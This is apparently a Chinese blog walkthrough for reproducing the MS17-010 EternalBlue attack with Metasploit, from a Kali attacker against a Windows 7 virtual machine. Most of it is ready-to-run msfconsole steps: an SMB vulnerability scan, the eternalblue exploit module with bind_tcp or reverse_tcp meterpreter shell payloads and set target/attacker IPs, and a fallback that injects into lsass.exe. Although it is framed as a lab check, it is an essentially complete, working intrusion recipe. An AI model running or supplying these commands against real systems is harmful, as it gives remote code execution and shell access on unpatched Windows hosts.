MS17-010永恒之蓝验证

一、安装MSF，windows下安装也可以，直接安装kali也可以，我是kali是攻击主机，win7是靶机，都在虚拟机里。

1、windows下安装MSF请参考：http://blog.csdn.net/wangsy0202/article/details/51914748（https://www.metasploit.com/官网下载）

2、kali的安装请直接去官网下载：https://www.kali.org/downloads/

3、漏洞攻击文章请参考：https://bbs.ichunqiu.com/thread-23115-1-1.html

准备时候还是要说一下注意事项：

（1）请安装相关ruby插件：

安装过程是：打开msfconsole 然后输入命令：

 gem install ruby_smb

（2）一定要搞清楚win7主机防火墙和共享服务配置445需要open

（3）网络环境要搞清楚，是否有访问策略 是否有域认证等等，想明白了就像谁能发起连接。

#攻击机可以主动发起连接，请使用正向payload windows/x64/meterpreter/bind_tcp

#双向都可以主动发起连接的，请随意。（反向的windows/x64/meterpreter/reverse_tcp）

#双向都不可以的，或者攻击机不可以的那就别玩了。

（4）可以先扫描看看是否有漏洞

 use auxiliary/scanner/smb/smb_ms17_010
 set RHOSTS [targetip]
 run

二、开始攻击：

 msf exploit(ms17_010_eternalblue) > use exploit/windows/smb/ms17_010_eternalblue
 msf exploit(ms17_010_eternalblue) > set payload windows/x64/meterpreter/bind_tcp
 msf exploit(ms17_010_eternalblue) > set RHOST 192.168.177.129
 msf exploit(ms17_010_eternalblue) > set LHOST 192.168.177.135
 msf exploit(ms17_010_eternalblue) > exploit

搞定收工

如果不行，麻烦加上这句：

 set PROCESSINJECT   lsass.exe
2 set TARGETARCHITECTURE  x64